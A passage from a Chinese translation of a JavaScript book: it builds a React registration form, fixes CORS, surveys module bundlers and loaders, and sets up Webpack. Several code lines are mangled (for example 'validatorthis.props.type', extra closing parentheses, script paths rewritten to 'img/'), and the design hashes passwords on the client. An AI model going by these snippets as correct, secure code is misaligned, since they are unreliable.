this.password = React.createRef();
}
handleRegistration = (event) => {
event.preventDefault();
event.stopPropagation();
console.log(this.email.current);
console.log(this.password.current);
}
render() {
return (
<form onSubmit={this.handleRegistration}>
<Input label="Email" type="email" ref={this.email} />
<Input label="Password" type="password" ref={this.password} />
<Button title="Register" />
</form>
)
}
}
在前面的代码中,在 RegistrationForm
的构造函数中,我们创建了两个 ref,分别赋值给 this.email
和 this.password
。然后我们使用 ref
属性将这两个 ref 附接到两个 Input
元素上。
ref
属性是一个特殊的属性,它不会传递给子元素。
我们现在可以使用 this.email.current
获取到电子邮件 Input
元素的引用。并且我们可以使用 this.email.current.state
获取其 state
属性。尝试打开浏览器,在输入框中输入一些值并点击注册;你应该能在控制台中看到每个输入框的当前状态。
接下来,让我们更新 handleRegistration
方法,首先检查状态对象,看看值是否有效;如果是,提取并将它们分配给一个变量。
handleRegistration = (event) => {
event.preventDefault();
event.stopPropagation();
const hasValidParams = this.email.current.state.valid && this.password.current.state.valid;
if (!hasValidParams) {
console.error('Invalid Parameters');
return;
}
const email = this.email.current.state.value;
const password = this.password.current.state.value;
}
接下来,我们需要对密码进行散列,组合请求,并将其发送到我们的 API 服务器。让我们定义一个 register
函数,它将提供一个抽象层,并使我们的 handleRegistration
方法保持易于阅读。
<body>
<script type="text/babel">
function register (email, digest) {
// Send the credentials to the server
const payload = { email, digest };
const request = new Request('http://localhost:8080/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
mode: 'cors',
body: JSON.stringify(payload)
})
return fetch(request)
.then(response => {
if (response.status === 200) {
return response.text();
} else {
throw new Error('Error creating new user');
}
})
}
...
</script>
</body>
这两个函数使用 Fetch API 向我们的 API 服务器发送请求(假设运行在 http://localhost:8080/
)。
接下来,我们需要调用我们之前定义的 register
函数来实际验证用户。
handleRegistration = (event) => {
...
const email = this.email.current.state.value;
const password = this.password.current.state.value;
const digest = bcrypt.hashSync(password, 10));
register(email, digest))
.then(console.log)
.catch(console.error) }
最后,我们使用 bcrypt.hashSync
来对密码进行散列;因此,我们需要加载 bcryptjs
库,我们可以通过以下网址从 RawGit CDN 获取:rawgit.com/dcodeIO/bcrypt.js/master/dist/bcrypt.min.js
。
<head>
...
<script src="img/bcrypt.min.js"></script>
</head>
<body>
<div id="renderTarget"></div>
<script type="text/babel">
const bcrypt = dcodeIO.bcrypt;
...
</script>
</body>
解决 CORS 问题
现在,如果我们重新加载页面,填写我们的详细信息,并按下Register
按钮,我们将遇到一个与 CORS 相关的错误。这是因为我们的 API 服务器目前仅服务于我们的 Swagger 文档页面(在http://localhost:8100
上);来自其他网站的请求被拒绝。
为了解决这个问题,我们需要向 Hobnob API 提供有关我们客户端位置的信息。我们可以通过添加一些额外的环境变量来实现这一点。将以下条目添加到我们的 Hobnob API 存储库中的envs/.env
和envs/.env.example
文件中。
CLIENT_PROTOCOL=http
CLIENT_HOSTNAME=127.0.0.1
CLIENT_PORT=8200
然后,我们需要将客户端的源添加到 API 应允许的源列表中。我们可以通过更新 CORS 中间件来动态设置Access-Control-Allow-Origin
头来实现这一点。在我们的 Hobnob API 存储库的src/index.js
内部进行以下更改:
app.use((req, res, next) => {
const {
SWAGGER_UI_PROTOCOL, SWAGGER_UI_HOSTNAME, SWAGGER_UI_PORT,
CLIENT_PROTOCOL, CLIENT_HOSTNAME, CLIENT_PORT,
} = process.env;
const allowedOrigins = [
`${SWAGGER_UI_PROTOCOL}://${SWAGGER_UI_HOSTNAME}`,
`${SWAGGER_UI_PROTOCOL}://${SWAGGER_UI_HOSTNAME}:${SWAGGER_UI_PORT}`,
`${CLIENT_PROTOCOL}://${CLIENT_HOSTNAME}`,
`${CLIENT_PROTOCOL}://${CLIENT_HOSTNAME}:${CLIENT_PORT}`,
];
if (allowedOrigins.includes(req.headers.origin)) {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
}
res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
next();
});
最后,回到我们的客户端应用程序,我们需要确保客户端正在指定的端口上提供服务,并且 CORS 已启用。我们可以通过使用http-server
包提供的-p
和--cors
标志来实现这一点。
$ http-server . -p 8200 --cors
现在,如果我们重新加载我们的 API 服务器和客户端,并尝试注册,我们应该得到一个成功响应。
禁用按钮组件
为了使用户体验更加直观,让我们在电子邮件和密码字段都有效之前禁用Register
按钮。要做到这一点,我们需要为RegistrationForm
组件提供一个方法,使其不仅能在表单提交时读取Input
组件的值,还能在每次值改变后读取。
一个简单的方法是每 100 毫秒左右轮询每个组件的valid
状态,但这将不会高效。相反,我们可以通过onChange
属性传递一个函数到Input
组件,该函数将在Input
的值改变时被调用。
<Input label="Email" type="email" ref={this.email} onChange={this.handleInputChange} />
<Input label="Password" type="password" ref={this.password} onChange={this.handleInputChange} />
然后在我们的Input
组件的validate
方法内部,我们会调用this.props.onChange
:
validate = (event) => {
const value = event.target.value;
const valid = validatorthis.props.type;
this.setState({ value, valid }, () => {
if (this.props.onChange) {
this.props.onChange();
}
});
}
setState
方法接受一个回调作为其第二个参数,该回调仅在状态更新后调用。这确保了当父组件(RegistrationForm
)检查Input
元素的当前状态时,它将得到更新后的状态。
现在,我们需要在RegistrationForm
中定义handleInputChange
方法。它应该检查两个输入是否有效,并将结果存储在RegistrationForm
的状态中。
constructor(props) {
super(props);
this.email = React.createRef();
this.password = React.createRef();
this.state = {
valid: false
};
}
...
handleInputChange = () => {
this.setState({
valid: !!(this.email.current.state.valid && this.password.current.state.valid)
})
}
最后,我们需要修改我们的Button
组件以接受一个disabled
属性,当true
时应该禁用按钮。
function Button(props) {
return <button disabled={props.disabled}>{props.title}</button>
}
class RegistrationForm extends React.Component {
...
render() {
return (
<form onSubmit={this.handleRegistration}>
...
<Button title="Register" disabled={!this.state.valid} />
</form>
)
}
}
现在,刷新页面并尝试输入。现在,Register
按钮应该被禁用,直到两个输入都有效(即,两个指示器都是绿色的)。
控制表单元素
您现在有一些使用属性、状态和引用的经验。然而,我们当前实现中存在几个主要缺陷:
-
我们在多个地方保存状态。这很难管理,因为我们必须记住每个状态存储在哪里。
-
我们在多个地方重复相同的州。我们在
RegistrationForm
元素以及Input
元素中都持有valid
状态。RegistrationForm
的valid
状态可以从Input
元素的状态中推导出来。
为了防止这两个缺陷,我们应该将需要的状态存储提升到需要它的组件最近的共同祖先;对我们来说,这将是由RegistrationForm
组件。
这就是它的工作方式。首先,我们将Input
组件转换回无状态的、哑组件,其输出完全取决于传入的属性。我们将传递一个新的属性,name
,这是一个用于识别输入的名称。它类似于正常input
HTML 元素的name
属性。我们还将更改RegistrationForm.handleInputChange()
方法的签名,以接受输入的name
作为其第一个参数。
function Input (props) {
return (
<label>
{props.label}
<input type={props.type} value={props.value} onChange={(event) => props.onChange(props.name, event)} />
<div className="indicator" style={{ ... }}></div>
</label>
)
}
我们的Input
组件不再保留任何状态,也不再执行任何验证。相反,这些任务已经委托给了组件最近的共同祖先,即RegistrationForm
组件。因此,在RegistrationForm
内部,我们可以:
-
删除对这些 Input 组件的任何引用——因为它们不再持有任何状态,我们没有理由保留这些引用
-
更新
this.state
以保存Input
组件的值和有效性信息。
class RegistrationForm extends React.Component {
constructor(props) {
super(props);
this.state = {
email: {
value: "",
valid: null
},
password: {
value: "",
valid: null
}
};
}
...
}
接下来,更新我们的 JSX 组件,将value
和valid
等状态传递给Input
组件。我们还传递了一个name
属性,这有助于识别元素:
render() {
return (
<form onSubmit={this.handleRegistration}>
<Input label="Email" type="email" name="email" value={this.state.email.value} valid={this.state.email.valid} onChange={this.handleInputChange} />
<Input label="Password" type="password" name="password" value={this.state.password.value} valid={this.state.password.valid} onChange={this.handleInputChange} />
<Button title="Register" disabled={!(this.state.email.valid && this.state.password.valid)} />
</form>
)
}
接下来,我们将完全重写RegistrationForm
的handleInputChange
方法,以验证输入并将值及其有效性存储到状态中。它将使用Input
组件的onChange
事件处理程序传递的name
和event
参数。
handleInputChange = (name, event) => {
const value = event.target.value;
const valid = validatorname;
this.setState({
[name]: { value, valid }
});
}
最后,我们不再需要使用 refs 来获取Input
组件的值并验证它们,因为它们已经在状态中。因此,从我们的handleRegistration
方法中删除这些行:
handleRegistration = (event) => {
...
const hasValidParams = this.state.email.valid && this.state.password.valid;
if (!hasValidParams) { ... }
const email = this.state.email.value;
const password = this.state.password.value;
...
}
现在,刷新页面,一切应该都会像之前一样正常工作。
在本节中,我们已经提升了组件的状态并将它们合并到单个位置。这使得我们的状态更容易管理。然而,我们更改状态的方式是通过传递onChange
属性。虽然这对于像这样的简单组件来说是可以的,但一旦组件深度嵌套,性能就会大大降低。一次更改可能会调用数十个函数,这是不可持续的。因此,随着我们继续开发我们的应用程序,我们将使用状态管理工具,如 Redux 或 MobX。
模块化 React
但现在,我们必须解决另一个紧迫的问题——我们的代码并不非常模块化。所有内容都定义在一个单独的<script>
标签内。这不仅难以阅读,而且也不易于维护。我们无法在一个文件中定义所有组件!
此外,我们正在使用<script>
标签包含库。因为一些库依赖于其他库(例如,react-dom
依赖于react
),我们必须手动确保我们的脚本按正确的顺序加载。
当我们讨论服务器端模块时,我们已经看到了 CommonJS 和 ES6 模块。然而,在使用客户端代码中的模块时,我们必须考虑其他因素,例如:
-
每个模块的大小。依赖项在应用程序运行之前下载。在服务器上,应用程序只初始化一次,之后它将长时间运行(数周到数年)。因此,下载依赖项的初始时间是一个一次性成本。然而,在客户端,每次客户端加载应用程序时都需要下载这些依赖项。因此,将应用程序及其依赖项的文件大小保持在尽可能低是非常重要的。
-
发生了多少个单独的请求?在服务器上,所有依赖项都驻留在服务器上,因此导入依赖项几乎不花费任何成本。在客户端,每次向服务器的请求都是一个新的 HTTP 请求,这需要一个新的 TCP 握手。所有这些操作都需要相对较长的时间,因此我们必须确保尽可能少地向服务器发出请求。
-
异步。我们已经在第四章“设置开发工具”中讨论了 CommonJS 模块。CommonJS 模块是同步加载的,这意味着模块是按照在运行中的文件/模块内被要求的顺序加载的。由于一个模块可能有数百个依赖项,这意味着解析和下载所有依赖项可能需要很长时间。这对于服务器应用程序来说不是问题,因为服务器应用程序在初始时间需求之后将长时间不间断地运行。在客户端,如果 A 依赖于 B,而 B 又依赖于 C,那么 C 必须在 B 下载之后才能下载,因为我们无法提前知道 B 依赖于 C。
由于这些担忧,我们需要使用不同的工具来确保我们的客户端应用程序在客户端的性能。因此,让我们花些时间来回顾它们。
客户端模块
当我们开发服务器端代码时,我们使用了来自npmjs.com注册表的包。这些包最初仅打算用于服务器端代码。很快,前端开发者意识到了所有这些服务器端包的力量,并希望在前端使用它们。
这成为一个问题,因为 CommonJS 的同步加载在浏览器上表现不佳。由于所需的模块在客户端不可用,必须在页面首次访问时下载,所以加载时间会很长。如果一个模块有一个超过 100 个模块的扩展依赖树,它必须在页面/应用程序加载之前下载 100 个模块。由于网页很少长时间打开,所以初始加载通常对最终用户来说不值得,他们可能会放弃网站。
有两种不同的解决方案来解决这个问题:
-
模块打包
-
异步模块加载
模块打包
而不是客户端(浏览器)解析数百个依赖项并直接从客户端下载,我们会在服务器上下载所有依赖项,将它们按正确的顺序连接成一个单一的文件(或 bundle),然后发送给客户端。这个包包含了应用程序和 所有 依赖项,可以像任何常规脚本一样加载。由于所有依赖项都在事先解析,因此消除了客户端解析依赖项所需的时间。
但是因为所有内容都压缩到一个文件中,所以生成的包可能会变得相当大,但加载时间会减少,因为客户端不需要发出数百个单独的请求;现在只需要一个。此外,如果其中一个外部服务器宕机,它不会影响我们的打包代码,因为这是由我们自己的服务器提供的。
在野外你会遇到四种不同的模块打包器:Browserify、Webpack、Rollup 和 Parcel。
Browserify
Browserify 是第一个模块打包器,它改变了前端代码的编写方式。Browserify 会从入口点 JavaScript 文件分析并跟踪 require
调用,构建一个依赖项列表,下载它们,然后将所有内容打包成一个单一的 JavaScript 文件,可以通过单个 <script>
标签注入。模块是递归添加的,这意味着最内层的依赖项首先被添加。这确保了模块按照正确的顺序打包。
要使用它,你只需安装 browserify
包,并指定应用程序的入口点以及你想要放置打包文件的位置。
$ npm install -g browserify
$ browserify entry.js > bundle.js
Webpack
Webpack 已经基本上取代了 Browserify,成为事实上的领导者。虽然 Browserify 只做模块打包,但 Webpack 还尝试整合来自流行的 任务运行器(如 Grunt 或 Gulp)的功能。使用 Webpack,你可以在打包文件之前/之后预处理文件(例如,压缩 JavaScript 和转换 Sass 文件)。
Webpack 的一个突出特点是代码拆分。这允许你将包拆分为多个文件:那些对应用程序的初始化和功能至关重要的文件,以及那些可以稍后加载的文件。然后你可以优先传输关键代码,为用户提供更快的加载时间,并改善用户体验。非关键代码可以稍后加载,或者仅在需要时加载。
Rollup
Browserify 和 Webpack 专注于 CommonJS 模块,并需要一个 Babel 插件来支持 ES6 模块。Rollup 默认支持原生 ES6 模块。
Rollup 也支持摇树,这是一个从包中消除未使用代码的功能。假设你正在导入一个支持 100 个函数的大型实用库,但你只使用了其中的四个;摇树将删除我们应用程序不需要的 96 个。这可以显著减少具有许多依赖的应用程序的包大小。
传统上,社区共识是使用 Webpack 用于应用程序,而 Rollup 用于库。这有两个原因:
-
Webpack 通常会产生更多的模板代码,因此产生的包大小明显更大,这对于库来说是不必要的。这对于 Webpack 的早期版本尤其如此,它会将每个模块包裹在其自己的函数闭包中。这不仅增加了包的大小,还降低了性能。然而,自从 Webpack 3 以来,这些模块使用称为作用域提升(scope hoisting)的技术被封装到一个闭包中。
-
Webpack 支持代码拆分,这对于应用程序很有用,但并不真正有助于库
然而,自从它们诞生以来,Webpack 已经增加了对摇树(tree-shaking)的支持,而 Rollup 增加了对代码拆分(code-splitting)的支持,因此这些工具之间的相似性正在增加。
Parcel
最后,一个相对较新的工具 Parcel 出现了,其卖点是无配置设置。虽然这可能加快了初始开发,但没有配置也意味着它可能支持的功能更少,并且你对最终包的控制也更少。
异步模块加载
模块打包的另一种选择是在客户端异步加载模块。异步模块加载意味着不相互依赖的模块可以并行加载。这部分缓解了客户端在使用 CommonJS 时面临的缓慢启动时间。
AMD 和 Require.js
异步模块定义(AMD)是实现异步模块加载的最受欢迎的模块规范。AMD 实际上是 CommonJS 的一个早期分支,并且也使用了require
和exports
语法。
正如存在用于 CommonJS 模块的模块打包器一样,也存在用于 AMD 模块的模块加载器。这些工具被称为加载器,因为它们直接从客户端加载模块。最受欢迎的模块加载器是Require.js。Require.js 为你提供了一个define
函数,你可以用它来定义你的模块。你可以将依赖项列表作为其第一个参数传入。让我们看看一个例子:
// greeter.js
define(function () {
function helloWorld(name) {
process.stdout.write(`hello ${name}!\n`)
};
return { sayHello: helloWorld }
});
// main.js
define(["./greeter.js"], function (greeter) {
// Only ran after the `greeter` module is loaded
greeter.sayHello("Daniel");
});
当main
模块被启动时,它将首先加载greeter
模块,并将返回的对象传递给定义main
模块的函数。这确保了模块按正确的顺序加载。
Require.js 在后台处理这些模块的加载,如果可能的话,并行化它们。这意味着下游代码执行不会被阻塞。
通用模块定义
UMD,或通用模块定义,是一种旨在与 CommonJS 和 AMD 兼容的模块定义格式。它还允许你将模块导出为全局变量,你可以通过简单的<script>
标签将其包含在你的应用程序中。
它通过将模块包裹在一个检查环境的样板代码中来实现这一点,以检测模块的使用方式,并生成正确的导出对象。
例如,前面的greeter
示例使用 UMD 将看起来像这样:
// greeter.js
(function (root, factory) {
// Requirements are defined here
}(this, function () {
function helloWorld(name) {
process.stdout.write(`hello ${name}!\n`
};
// Whatever you return is exposed
return {
helloWorld: helloWorld
}
}));
// main.js
(function (root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD
define(['./greeter.js'], factory);
} else if (typeof exports === 'object') {
// Node, CommonJS-like
module.exports = factory(require('./greeter.js'));
} else {
// Browser globals (root is window)
root.returnExports = factory(root.greeter);
}
}(this, function (greeter) {
greeter.sayHello("Daniel");
}));
SystemJS 和 Loader 规范
Loader 规范(whatwg.github.io/loader/)是一个正在进行的规范,它“描述了从 JavaScript 宿主环境加载 JavaScript 模块的行为”。换句话说,它描述了在浏览器和服务器上加载 JavaScript 模块的标准方式。它是 WHATWG 开发的,但尚未被采纳为活标准。
SystemJS是 Loader 规范在浏览器上的实现。更具体地说,SystemJS 是一个通用动态模块加载器。在这里,“通用”意味着它不仅可以加载 CommonJS 模块,还可以加载 ES6 模块、AMD 和全局脚本。它是通过SystemJS.import
方法实现的,类似于适用于所有主要模块定义的通用require
。导入App
组件并渲染它的代码可能看起来像这样:
var App = SystemJS.import('./components/App.jsx').then(App => {
ReactDOM.render(<App />, document.getElementById('renderTarget'));
});
jspm
然而,如果 SystemJS 可以从任何来源导入模块,它是如何知道模块的位置的呢?例如,如果我们执行SystemJS.import('moment')
,SystemJS 应该从 NPM 注册表获取包吗?或者是一个自定义仓库?SystemJS 无法确定。因此,为了有效地使用 SystemJS,我们必须使用一个包管理器,它可以维护包名和它们的位置之间的映射。幸运的是,我们有jspm,它代表JavaScript 包管理器。
jspm 与 npm 和 yarn 类似,但它可以从任何地方下载模块/包,而不仅仅是 npm。此外,它将自动创建一个包含我们之前提到的所有包到位置的映射的 SystemJS 配置文件。
模块打包器与模块加载器
在对客户端模块周围的工具进行了简要概述之后,我们仍然面临着一个问题——我们应该使用打包器还是加载器?现状是使用模块打包器。使用加载器,你可能需要触发数百个 HTTP 请求来下载所有依赖项。即使这些操作在后台进行,也可能导致加载时间变慢。因此,使用模块打包器可能会使应用程序加载更快。
HTTP/2
然而,一旦 HTTP/2 得到更广泛的采用,这个问题可能就不再是问题。在使用 HTTP/1.1 时,我们需要为每个我们想要检索的资源建立单独的 HTTP 和 TCP 连接,即使这些资源位于同一服务器上。建立 TCP 连接需要三次握手,这是昂贵的。
使用 HTTP/2 的多路复用功能,单个 TCP 连接可以用来发送多个 HTTP 请求。此外,可以在飞行中同时发送多个请求和响应消息。因此,如果 HTTP/2 得到广泛采用,发送多个请求将不再昂贵。
为了 HTTP/2 能够工作,它需要同时被浏览器和服务器支持。
根据 caniuse.com
(caniuse.com/#feat=http2),在撰写本文时,只有 84.53% 的浏览器支持 HTTP/2。根据 W3Techs (w3techs.com/technologies/details/ce-http2/all/all),在撰写本文时,HTTP/2 仅被 25.3% 的所有网站使用。因此,相当一部分浏览器使用量仍然在 HTTP/1.x 浏览器上。在这些浏览器上,我们仍然需要在每次页面加载时进行数百到数千次的 TCP 连接;这是不可接受的。因此,直到 HTTP/2 支持几乎无处不在,现状仍然是使用模块打包器以减少加载速度。
正如我们之前提到的,最成熟且广泛使用的模块打包器是 Webpack,因此在本章的剩余部分,我们将把我们的应用程序转换为使用 ES6 模块,并使用 Webpack 来处理和打包我们的应用程序。
Webpack
我们将使用 yarn 来管理我们的依赖项,就像我们处理客户端代码一样。所以让我们启动一个新的配置文件,并将 webpack
包添加为开发依赖项:
$ yarn init
$ vim .gitignore # Can use the same .gitignore as for our server app
$ yarn add webpack webpack-cli --dev
就像 Babel 一样,Webpack 会接收源文件,转换它们并将输出放在某个地方。因此,我们也创建两个目录来区分它们。
$ mkdir src dist
$ mv index.html src/
组件模块化
接下来,我们将完全移除 src/index.html
中的所有 JavaScript 脚本。首先,移除所有依赖 <script>
标签,例如 React、ReactDOM、Babel 和 bcryptjs。然后,我们将使用 yarn
来安装它们。
$ yarn add react react-dom bcryptjs
$ yarn add @babel/core @babel/preset-react @babel/preset-env @babel/plugin-proposal-class-properties --dev
Babel 被分割成多个更小的包。这允许开发者只使用他们需要的那个,而不包括不必要的功能。
我们现在可以通过导入它们来使用这些包,就像我们使用后端代码一样。
接下来,我们将 index.html
中的 JavaScript 代码拆分为单独的模块。我们将创建:
-
一个
utils
目录来存放可重用的实用函数。 -
一个
components
目录来存放所有我们的组件。 -
index.jsx
作为入口点。这将是我们导入整体App
组件并将其使用ReactDOM.render()
渲染到 DOM 上的地方。
在你的终端上运行以下命令:
$ mkdir -p \
src/utils/validator \
src/utils/register \
src/components/input \
src/components/button \
src/components/Registration-form
$ touch \
src/index.jsx \
src/utils/validator/index.js \
src/utils/register/index.js \
src/components/input/index.jsx \
src/components/button/index.jsx \
src/components/Registration-form/index.jsx
我们在这里使用 .jsx
扩展名来表示这个文件包含 JSX 语法。稍后,这个约定将帮助 Webpack 高效地确定它需要处理的文件。
首先,让我们将 validator
对象从 src/index.html
文件移动到 src/utils/validator/index.js
并导出它。
const validator = {
email: (email) => /\S+@\S+\.\S+/.test(email),
password: (password) => password.length > 11 && password.length < 48
}
export default validator;
同样对 register
函数做同样的处理。然后,将每个组件提取到其自己的 index.jsx
中。例如,src/components/button/index.jsx
将包含以下代码。
import React from 'react';
function Button(props) {
return <button disabled={props.disabled}>{props.title}</button>
}
export default Button;
src/components/input/index.jsx
将看起来像这样:
import React from 'react';
function getIndicatorColor (state) { ... }
function Input (props) { ... }
export {
Input as default,
getIndicatorColor,
}
react
必须导入到每个使用 React 和 JSX 的模块中。
对于具有外部依赖的 RegistrationForm
组件,我们可以在模块顶部 import
它:
import React from 'react';
import bcrypt from 'bcryptjs';
import { validator } from '../../utils';
import register from '../../utils/register';
import Button from '../button/index.jsx';
import Input from '../input/index.jsx';
class RegistrationForm extends React.Component { ... }
export default RegistrationForm;
最后,在我们的 src/index.jsx
中导入 RegistrationForm
组件并将其渲染到 DOM 上:
import React from 'react';
import ReactDOM from 'react-dom';
import RegistrationForm from './components/Registration-form/index.jsx';
ReactDOM.render(<RegistrationForm />, document.getElementById('renderTarget'));
入口/输出
如前所述,Webpack 是一个模块打包器。它将你的应用程序代码及其所有依赖项打包成一个或少数几个文件。这些文件然后可以传输到客户端并执行。更正式地说,它将许多源 输入 文件打包成一个或多个 输出 文件。使用 Webpack,开发者指定一个或多个入口点,Webpack 将遵循每个文件中的 require
或 import
语句来构建依赖项树。
Webpack 的原始卖点是其可配置性。所以让我们首先在 webpack.config.js
中创建一个配置文件。
const webpack = require('webpack');
module.exports = {
entry: {
app: './src/index.jsx',
},
output: {
filename: './dist/bundle.js',
},
};
在 Webpack 4 中,为最常见的配置设置了合理的默认值。这意味着我们可以使用 Webpack 而不需要 webpack.config.js
(他们将其推广为 零配置 JavaScript(0CJS))。然而,总是明确比隐晦更好,所以我们仍然会保留 webpack.config.js
。
让我们看看运行 Webpack CLI 时会发生什么。
$ npx webpack
Hash: 9100e670cdef864f62dd
Version: webpack 4.6.0
Time: 243ms
Built at: 2018-04-24 18:44:49
1 asset
Entrypoint main = main.js
[0] ./src/index.js 283 bytes {0} [built] [failed] [1 error]
ERROR in ./src/index.js
Module parse failed: Unexpected token (3:16)
You may need an appropriate loader to handle this file type.
| import RegistrationForm from './components/Registration-form';
|
| ReactDOM.render(<RegistrationForm />, document.getElementById('renderTarget'));
|
Webpack CLI 正在抱怨它不理解 import
语法。这是因为默认情况下,Webpack 只完全支持 ES5 语法,不支持 ES6 模块。为了使 Webpack 能够理解 ES6 语法,我们必须使用 babel-loader
包。
加载器
加载器是运行在源文件上的转换程序,它们是单独运行的。例如,你会在打包之前使用加载器将 CoffeeScript/TypeScript 转换为 ES5;在我们的例子中,我们使用它将 ES2015+ 语法和 JSX 转换为 ES5。首先,让我们使用 yarn 安装加载器。
$ yarn add babel-loader --dev
接下来,我们将更新 webpack.config.js
以指示 Webpack 使用加载器。我们可以通过在 module.rules
属性中定义加载器规范来实现这一点。
const webpack = require('webpack');
module.exports = {
entry: { app: './src/index.jsx' },
output: { filename: 'bundle.js' },
module: {
rules: [{
test: /\.jsx?$/,
exclude: /node_modules/,
use: [{
loader: 'babel-loader',
options: {
presets: ['@babel/preset-env', '@babel/preset-react'],
plugins: [require('@babel/plugin-proposal-class-properties')],
},
}],
}],
},
};
每个加载器规范包含两个重要的子属性:
-
test
决定了哪些文件应该由这个加载器处理。在这里,我们使用正则表达式/\.jsx?$/
来告诉 Webpack 使用此加载器处理所有扩展名为.jsx
的文件。 -
use
指定了用于转换这些文件的加载器,以及传递给加载器的任何附加选项。在这里,我们指示 Webpack 使用我们刚刚安装的babel-loader
模块,Babel 应该使用 React 和env
预设,以及 Transform Class Properties 插件。
现在,当我们再次运行 webpack
时,你会看到 dist/bundle.js
正在被创建。
$ npx webpack
Hash: adbe083c08891bf4d5c7
Version: webpack 4.6.0
Time: 4933ms
Built at: 2018-04-24 19:34:55
Asset Size Chunks Chunk Names
bundle.js 322 KiB 0 [emitted] [big] app
Entrypoint app [big] = bundle.js
[7] (webpack)/buildin/global.js 489 bytes {0} [built]
[73] (webpack)/buildin/module.js 497 bytes {0} [built]
[74] ./src/utils/index.js 324 bytes {0} [built]
[120] crypto (ignored) 15 bytes {0} [optional] [built]
[121] buffer (ignored) 15 bytes {0} [optional] [built]
[153] util (ignored) 15 bytes {0} [built]
[155] util (ignored) 15 bytes {0} [built]
[162] ./src/index.jsx 327 bytes {0} [built]
+ 155 hidden modules
它还可能打印一些有关优化构建的警告。我们现在可以忽略这些警告。
现在我们已经将 bundle.js
放在 dist/
目录的根目录下,我们应该更新我们的 src/index.html
以使用捆绑的脚本。将 <script type="text/babel">...</script>
块替换为 <script src="img/bundle.js"></script>
。
然而,index.html
并没有被从 src/
目录复制到 dist/
目录。这是因为 Webpack 只处理 JavaScript (.js
/ .mjs
)、JSON 和 WebAssembly 文件 (.wasm
)。要复制 index.html
文件,我们需要另一种类型的工具,称为 插件。
CSS 和 HTML 模块计划在 Webpack 5 中得到支持,因此我们在这里介绍的一些插件可能在未来不再必要。
插件
加载器在创建包之前或期间对单个文件进行转换,"就地" 进行。相比之下,插件在加载器的输出上工作,并在创建后整体处理包。
复制文件
要复制我们的 src/index.html
文件,我们可以使用名为 Copy Webpack 插件 (copy-webpack-plugin
)。正如其名所示,此插件将单个文件或整个目录复制到构建目录。让我们使用 yarn 安装它。
$ yarn add copy-webpack-plugin --dev
并将插件添加到我们的 webpack.config.js
。
const webpack = require('webpack');
const CopyWebpackPlugin = require('copy-webpack-plugin');
module.exports = {
entry: { ... },
output: { ... },
module: { ... },
plugins: [
new CopyWebpackPlugin(['src/index.html'])
],
};
CopyWebpackPlugin
构造函数具有以下签名:
CopyWebpackPlugin([ ...patterns ], options)
在这里,patterns
指定了一组应复制的匹配文件。我们只是指定了一个单个文件。
再次运行 webpack
,你会看到 bundle.js
和 index.html
都被写入到 dist/
目录。现在我们可以使用 http-server
包来静态地提供 dist/
目录。
$ http-server dist/ -p 8200 --cors
你应该会看到与之前相同的注册表单。但现在我们的代码要模块化得多。
最后步骤
在我们完成之前,让我们也记录我们在 npm 脚本中运行的命令。这将在未来使构建和提供我们的应用程序更容易。
在 package.json
中,使用以下 scripts
属性定义构建步骤:
"scripts": {
"build": "rm -rf dist/ && webpack"
}
然后,我们将编写一个脚本来提供我们的应用程序。我们希望使用环境变量(而不是硬编码)来指定应用程序的主机和端口,因此让我们创建一个 .env
和一个 .env.example
文件,并填充以下内容:
WEB_SERVER_PORT_TEST=8200
WEB_SERVER_HOST_TEST=localhost
然后,在 scripts/serve.sh
创建一个 Bash 脚本,并赋予它执行权限:
$ mkdir scripts && touch scripts/serve.sh
$ chmod u+x scripts/serve.sh
在 Bash 脚本内部,我们将简单地加载环境变量,构建应用程序,并使用 htttp-server
来提供打包后的文件:
#!/usr/bin/env bash
# Set environment variables from .env and set NODE_ENV to test
source <(dotenv-export | sed 's/\\n/\n/g')
export NODE_ENV=test
yarn run build
http-server dist/ -- -p $WEB_SERVER_PORT_TEST --cors
现在,我们只需使用 npm 脚本运行我们的 Bash 脚本:
"serve": "./scripts/serve.sh"
摘要
在本章中,我们使用 React 构建了一个基本的注册表单,并使用 Webpack 进行打包。在下一章中,我们将探讨如何使用 Selenium 对前端应用程序进行端到端测试。
第十五章:React 中的端到端测试
对于我们的后端开发,我们坚决遵循 测试驱动开发(TDD)——我们通过编写端到端测试开始开发,并编写了一些实现代码来使这些测试通过。在实现了这个功能之后,我们添加了单元和集成测试来增加我们对底层代码的信心,并帮助捕获回归。
现在我们对 React 有了一个基本的了解,在本章中,我们将探讨如何在 React 中实现 TDD。具体来说,我们将涵盖:
-
使用 Selenium 自动化与浏览器的交互
-
使用 React Router 实现 客户端路由
测试策略
事实证明,前端上的 TDD 采用类似的方法,涉及自动化 UI 测试和单元测试。
自动化 UI 测试
当我们为我们的 API 编写端到端测试时,我们首先编写我们的请求,发送它,并断言它返回预期的结果。换句话说,我们的端到端测试是在模仿最终用户如何与我们的 API 交互。对于前端,用户将通过用户界面(UI)与我们的应用程序交互。因此,端到端测试的对应物将是自动化 UI 测试。
UI 测试自动化了应用程序用户可能采取的操作。例如,如果我们想测试用户可以注册,我们会编写一个测试,它:
-
导航到
/register
页面 -
输入电子邮件
-
输入密码
-
点击注册按钮
-
断言用户已注册
这些测试可以用 Gherkin 编写,并使用 Cucumber 运行。实际的用户操作模拟可以通过使用像 Selenium 这样的浏览器自动化工具来自动化。例如,当我们运行测试步骤“点击注册按钮”时,我们可以指示 Selenium 选择具有 id
值 register-button
的按钮并触发其上的点击事件。
单元测试
对于前端,单元测试涉及两个不同的方面——逻辑单元和组件单元。
逻辑单元
单元可以是一个不与 UI 交互的函数或类;例如 validateInput
函数就是一个很好的例子。这些逻辑单元使用纯 JavaScript,并且应该能够独立于环境工作。因此,我们可以使用 Mocha、Chai 和 Sinon 以与我们的后端代码相同的方式对它们进行单元测试。
因为逻辑单元是最容易测试的。你应该尽可能多地提取应用程序逻辑并对其进行测试。
组件单元
单元也可能指 React 中的单个组件。例如,我们可以测试当输入改变时,组件的状态以预期的方式更新;或者对于受控组件,正确的回调是否以正确的参数被调用。
浏览器测试
多亏了无头浏览器——这些浏览器不会渲染到显示界面——我们可以在服务器上运行端到端(E2E)和单元测试。然而,我们也应该在真实浏览器中测试这些单元测试,因为 NodeJS(使用 V8 JavaScript 引擎)和其他浏览器(如 Firefox 使用 SpiderMonkey 引擎、Microsoft Edge 使用 Chakra 引擎、Safari 使用 Nitro 引擎)之间可能存在不一致性。
